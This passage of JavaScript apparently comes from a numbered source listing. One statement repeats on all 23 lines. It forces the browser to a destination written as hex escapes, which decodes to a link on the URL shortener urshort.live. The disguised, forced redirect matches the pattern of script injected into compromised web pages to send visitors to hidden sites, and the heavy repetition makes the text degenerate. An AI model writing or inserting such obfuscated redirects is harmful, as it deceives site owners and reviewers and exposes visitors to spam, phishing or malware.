2512window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2513window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2514window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2515window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2516window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2517window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2518window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2519window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2520window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2521window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2522window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2523window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2524window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2525window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2526window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2527window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2528window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2529window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2530window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2531window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2532window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2533window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2534window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";